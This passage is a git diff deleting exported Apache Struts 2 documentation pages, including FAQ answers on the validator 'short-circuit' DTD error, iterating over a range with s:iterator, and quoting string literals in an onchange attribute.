-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Home</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Home</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14153">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14153">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14153">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14153">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14153">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14153">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>Apache Struts 2 is an elegant, extensible framework for building enterprise-ready Java web applications. <a shape="rect" class="external-link" href="http://struts.apache.org/downloads.html">Distributions of Struts 2</a> are available as a free download under the Apache License.</p><ul><li>For more about the Apache Struts project itself, visit the <a shape="rect" class="external-link" href="http://struts.apache.org/">project web site</a>.</li><li [...]
-        </div>
-
-                    <div class="tabletitle">
-                Children
-            <span class="smalltext" id="show" style="display: inline;">
-              <a href="javascript:showChildren()">Show Children</a></span>
-            <span class="smalltext" id="hide" style="display: none;">
-              <a href="javascript:hideChildren()">Hide Children</a></span>
-            </div>
-            <div class="greybox" id="children" style="display: none;">
-                                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                            </div>
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/how-can-i-fix-the-attribute-short-circuit-error-message.html b/content/docs/how-can-i-fix-the-attribute-short-circuit-error-message.html
deleted file mode 100644
index e17a114..0000000
--- a/content/docs/how-can-i-fix-the-attribute-short-circuit-error-message.html
+++ /dev/null
@@ -1,161 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>How can I fix the "Attribute 'short-circuit'" error message</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="how-can-i-fix-the-attribute-short-circuit-error-message.html">How can I fix the "Attribute 'short-circuit'" error message</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">How can I fix the "Attribute 'short-circuit'" error message</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14103">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14103">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14103">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14103">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14103">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14103">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent">
-
-<p>The <code>short-circuit</code> attribute was introduced in the XWork Validator 1.0.2 release. If the framework complains that the "<em>Attribute 'short-circuit' must be declared for element type 'field-validator'</em>", update the configuration file's DTD reference.</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;!DOCTYPE validators PUBLIC
- "-//OpenSymphony Group//XWork Validator 1.0.2//EN"
-  "http://www.opensymphony.com/xwork/xwork-validator-1.0.2.dtd"&gt;
-</pre>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/how-can-i-iterate-over-a-range-like-with-jstls-foreach-tag.html b/content/docs/how-can-i-iterate-over-a-range-like-with-jstls-foreach-tag.html
deleted file mode 100644
index 977db4e..0000000
--- a/content/docs/how-can-i-iterate-over-a-range-like-with-jstls-foreach-tag.html
+++ /dev/null
@@ -1,140 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>How can I iterate over a range, like with JSTL's forEach tag?</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="how-can-i-iterate-over-a-range-like-with-jstls-foreach-tag.html">How can I iterate over a range, like with JSTL's forEach tag?</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">How can I iterate over a range, like with JSTL's forEach tag?</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=88506">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=88506">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=88506">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=88506">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=88506">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=88506">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>One solution is to just use the c:forEach tag. If you are on an older servlet container which doesn't make JSTL available by default and don't want to add it as an additional dependency, though, it is possible to do this with Struts' s:iterator tag and an OGNL generator expression:</p>
-
-<p><code>&lt;s:iterator value="(10).{ #this }"&gt;&lt;s:property/&gt;&lt;/s:iterator&gt;</code></p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/how-can-i-put-a-string-literal-in-a-javascript-call-for-instance-in-an-onchange-attribute.html b/content/docs/how-can-i-put-a-string-literal-in-a-javascript-call-for-instance-in-an-onchange-attribute.html
deleted file mode 100644
index 7c94768..0000000
--- a/content/docs/how-can-i-put-a-string-literal-in-a-javascript-call-for-instance-in-an-onchange-attribute.html
+++ /dev/null
@@ -1,171 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>How can I put a String literal in a Javascript call, for instance in an onChange attribute</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="how-can-i-put-a-string-literal-in-a-javascript-call-for-instance-in-an-onchange-attribute.html">How can I put a String literal in a Javascript call, for instance in an onChange attribute</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">How can I put a String literal in a Javascript call, for instance in an onChange attribute</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14165">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14165">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14165">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14165">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14165">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14165">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent">
-
-<p>Using String literals in Javascript calls requires care in escaping quotes but leaving double quotes around the final value, like we expect in HTML attributes.</p>
-
-<p>Here's an example of the right way to do this (thanks to John Brad):</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Source</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-onchange='"someFunc(this.form, \'abc\')"'
-</pre>
-</div></div>
-<p>Notice that</p>
-<ul><li>single quotes surround the double quotes, and</li><li>inline single quotes in the Javascript are escaped.</li></ul>
-
-
-<p>When rendered, the statement is rendered without the pair of surrounding single quotes, and the literal String stays quoted.</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Output</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-onchange="someFunc(this.form, 'abc')"
-</pre>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/how-can-i-test-my-action-output-validation-or-the-action-execution-outside-a-container.html b/content/docs/how-can-i-test-my-action-output-validation-or-the-action-execution-outside-a-container.html
deleted file mode 100644
index 26b579a..0000000
--- a/content/docs/how-can-i-test-my-action-output-validation-or-the-action-execution-outside-a-container.html
+++ /dev/null
@@ -1,140 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>How can I test my action output, validation or the action execution outside a container?</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="how-can-i-test-my-action-output-validation-or-the-action-execution-outside-a-container.html">How can I test my action output, validation or the action execution outside a container?</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">How can I test my action output, validation or the action execution outside a container?</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=2853342">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=2853342">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=2853342">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
